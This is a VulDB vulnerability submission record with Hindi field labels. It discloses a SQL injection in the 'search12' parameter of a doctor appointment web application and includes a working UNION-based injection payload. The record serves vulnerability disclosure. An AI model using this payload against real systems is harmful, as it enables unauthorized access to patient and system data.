| शीर्षक | Sql injection exists for search12 parameter of edoc doctor appointment system |
|---|
| विवरण | There is a SQL injection vulnerability in the directory xxx. The specific parameter is "search12". Because there is no restriction and filtering on user input, some malicious users can attack by constructing illegal parameters, which will lead to the acquisition of important system information by the attacker.
Payload：search12=Test Patient' UNION ALL SELECT CONCAT(0x71707a7a71,0x65704d614147646e5542796a494f4e4a62416b666e415a6e4b6e4a424d72707975554261756d5667,0x7170717a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL---&search=Search |
|---|
| स्रोत | ⚠️ https://github.com/E1CHO/cve_hub/blob/main/edoc%20doctor%20appointment%20system/edoc%20docker%20search.pdf |
|---|
| उपयोगकर्ता | SSL_Seven_Security Lab_WangZhiQiang_XiaoZiLong (UID 38936) |
|---|
| सबमिशन | 27/02/2023 08:53 AM (4 साल पहले) |
|---|
| संयम | 27/02/2023 12:07 PM (3 hours later) |
|---|
| स्थिति | स्वीकृत |
|---|
| VulDB प्रविष्टि | 221821 [SourceCodester Doctors Appointment System 1.0 /edoc/doctor/patient.php search12 SQL इंजेक्शन] |
|---|
| अंक | 20 |
|---|